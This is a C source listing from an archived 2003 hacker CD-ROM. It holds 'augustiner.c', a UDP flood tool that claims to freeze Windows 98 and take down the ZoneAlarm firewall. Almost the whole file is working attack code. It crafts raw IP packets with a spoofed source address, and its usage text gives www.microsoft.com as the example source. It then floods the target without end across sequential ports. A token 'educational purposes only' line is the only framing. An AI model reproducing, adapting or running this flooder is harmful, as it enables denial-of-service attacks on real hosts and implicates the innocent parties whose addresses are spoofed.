home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / augustiner / augustiner.c
Encoding:
C/C++ Source or Header  |  2003-10-23  |  6.0 KB  |  227 lines

  1. /*
  2. [------------------------------------------------------------------------]
  3. [-- nologin - nologin - nologin -=]   [=- nologin - nologin - nologin  --]
  4. [------------------------------------------------------------------------]
  5. [-- Genre  : Denial of Service(DoS)                                    --]
  6. [-- Name   : augustiner.c                                              --]
  7. [-- Desc   : Udp flooder. Freezing Windows 98(not SE).                 --]
  8. [--        :              DoS'ing Zonealarm                            --]
  9. [-- Url    : www.nologin.org                                           --]
  10. [-- Use    : gcc -o augustiner augustiner.c; ./augustiner              --]
  11. [------------------------------------------------------------------------]
  12. [-- Author : |WARL0RD|                                                 --]
  13. [-- Date   : 8/2003                                                    --]
  14. [-- Mod    : 9/2003                                                    --]
  15. [------------------------------------------------------------------------]
  16. [-- Comment: Win98 may be out of date, but it's still in widespread    --]
  17. [--          use.                                                      --]
  18. [--          This tool is for educational purposes only of course.     --]
  19. [--          As of today this vuln seems unpatched.                    --]
  20. [--          Ok after slightly modifying this code it finally has      --]
  21. [--          the intended original effect of DoS'ing Zonealarm.        --]
  22. [--          So augustiner.c is 2 DoS in 1. Congrats to Special        --]
  23. [--          Discount Day.                                             --]
  24. [------------------------------------------------------------------------]
  25. */
  26.  
  27. #include <stdio.h>
  28. #include <sys/types.h>
  29. #include <sys/socket.h>
  30. #include <sys/ioctl.h>
  31. #include <linux/ip.h>
  32. #include <linux/udp.h>
  33. #include <netinet/in.h>
  34. #include <arpa/inet.h>
  35. #include <stdlib.h>
  36. #include <unistd.h>
  37. #include <string.h>
  38. #include <time.h>
  39. #include <netdb.h>
  40. #include <errno.h>
  41.  
  42.  
  43. #define PSEUHDR         sizeof(struct pseudohdr)
  44. #define IP              struct iphdr
  45. #define UDP             struct udphdr
  46.  
  47. extern int errno;
  48.  
  49.  
  50. /***********************************************************/
  51. void banner() {
  52.         printf("\n\taugustiner.c\n");
  53.         printf("\tVersion 1.1\n");
  54.         printf("(c) warlord OF nologin.org\n");
  55.         printf("Check www.nologin.org\n");
  56.         printf("-----------------------------------\n");
  57. return;
  58. }
  59.  
  60. /**********************************************************/
  61.  
  62. void usage(char *name) {
  63.         printf("Usage: %s <target> <source>\n",name);
  64.         printf("The source address will be spoofed to what you specify\n");
  65.         printf("Example: ./augustiner 192.168.0.1 www.microsoft.com\n");
  66. exit(0);
  67. }
  68.  
  69.  
  70.  
  71. /************************************************************/
  72.  
  73. unsigned short ipChecksum(unsigned short *ptr, int nbytes)
  74. {
  75. register long sum;
  76. register u_short answer;
  77. u_short oddbyte;
  78.  
  79. sum = 0;
  80.  
  81. while (nbytes > 1)
  82.   {
  83.     sum += *ptr++;
  84.     nbytes -= 2;
  85.   }
  86.  
  87. if (nbytes == 1)
  88.   {
  89.     oddbyte = 0;
  90.     *((u_char *) & oddbyte) = *(u_char *) ptr;
  91.     sum += oddbyte;
  92.   }
  93.  
  94. sum = (sum >> 16) + (sum & 0xffff);
  95. sum += (sum >> 16);
  96. answer = ~sum;
  97.  
  98. return (answer);
  99. }
  100.  
  101.  
  102.  
  103. /*****************************************************************/
  104.  
  105.  
  106.  
  107.  
  108. int sendUDP(int sock, char *dhost,char *shost)
  109. {
  110.   unsigned int packetLen, minimalLength;
  111.   unsigned char packet[(packetLen = sizeof(IP) + sizeof(UDP)+100)];
  112.   unsigned short ppp=0;
  113.   IP *iphdr = (IP *)packet;
  114.   UDP *udphdr = (UDP *)((unsigned char *)packet + sizeof(IP));
  115.   struct sockaddr_in s;
  116.   struct hostent *he;
  117.  
  118.  
  119.  srand(time(NULL));
  120.  unsigned char minimalip[(minimalLength = 12 + sizeof(UDP))];
  121.  memset(&s, 0, sizeof(s));
  122.  memset(packet, 0, packetLen);
  123.  memset(minimalip, 0, minimalLength);
  124.  
  125.  if((he=gethostbyname(shost))==NULL)
  126.    {
  127.      *((unsigned long *)((unsigned char *)minimalip+0)) = inet_addr(shost);
  128.    }
  129.   else
  130.    {
  131.      *((unsigned long*)((unsigned char *)minimalip+0)) = *((char *)he->h_addr);
  132.    }
  133.  
  134.  
  135.  if((he=gethostbyname(dhost))==NULL)
  136.    {
  137.      *((unsigned long *)((unsigned char *)minimalip+0)) = inet_addr(dhost);
  138.    }
  139.   else
  140.    {
  141.      *((unsigned long*)((unsigned char *)minimalip+0)) = *((char *)he->h_addr);
  142.    }
  143.  
  144.  *((unsigned char *)((unsigned char *)minimalip+8)) = 0;
  145.  *((unsigned char *)((unsigned char *)minimalip+9)) = IPPROTO_UDP;
  146.  *((unsigned short *)((unsigned char *)minimalip+10)) = htons(packetLen - sizeof(IP));
  147.  iphdr->version       = 4;
  148.  iphdr->ihl      = 5;
  149.  iphdr->id      = 60000;
  150.  iphdr->frag_off = 0;
  151.  
  152. // iphdr->frag_off = 2050;
  153.  
  154.  if ((iphdr->saddr = inet_addr(shost)) == (unsigned long)-1)
  155.   {
  156.     if (!(he = gethostbyname(shost)))
  157.       {
  158.         printf("Couldn't resolve the src host\n");
  159.         exit(0);
  160.       }
  161.     memcpy(&iphdr->saddr, he->h_addr, sizeof(iphdr->saddr));
  162.   }
  163.  
  164.  if ((iphdr->daddr = inet_addr(dhost)) == (unsigned long)-1)
  165.   {
  166.     if (!(he = gethostbyname(dhost)))
  167.       {
  168.         printf("Couldn't resolve the dst host\n");
  169.         exit(0);
  170.       }
  171.     memcpy(&iphdr->daddr, he->h_addr, sizeof(iphdr->daddr));
  172.   }
  173.  
  174.  iphdr->protocol       = IPPROTO_UDP;
  175.  iphdr->ttl     = 255;
  176.  iphdr->tot_len     = packetLen;
  177.  iphdr->check     = ipChecksum((u_short *)iphdr, sizeof(IP));
  178.  s.sin_family      = AF_INET;
  179.  
  180.  if((he=gethostbyname(dhost))==NULL)
  181.    {
  182.      s.sin_addr.s_addr=inet_addr(dhost);
  183.    }
  184.   else
  185.    {
  186.      s.sin_addr=*((struct in_addr *)he->h_addr);
  187.    }
  188.  
  189. while(1)
  190.   {
  191.     ppp++;
  192.     udphdr->source = htons(20000);
  193.     udphdr->dest =   htons(ppp);
  194.     udphdr->len   = htons(8);
  195.     udphdr->check = 0;
  196.  
  197.     sendto(sock, packet, packetLen, 0, (struct sockaddr *)&s, sizeof(s));
  198.   }
  199.  return 0;
  200. }
  201.  
  202.  
  203. /***********************************************************/
  204.  
  205.  
  206.  
  207. int main(int argc, char **argv) {
  208. int sock, optval=1;
  209.  
  210.         banner();
  211.  
  212.         if(argc<3) usage(argv[0]);
  213.  
  214.         sock = socket(AF_INET,SOCK_RAW,IPPROTO_UDP);
  215.         setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(optval));
  216.  
  217.         printf("Flooding %s with udp packets.\n",argv[1]);
  218.         printf("Press Ctrl+C to stop\n");
  219.  
  220.         sendUDP(sock, argv[1], argv[2]);
  221.  
  222.         close(sock);
  223.  
  224. exit(0);
  225. }
  226.  
  227.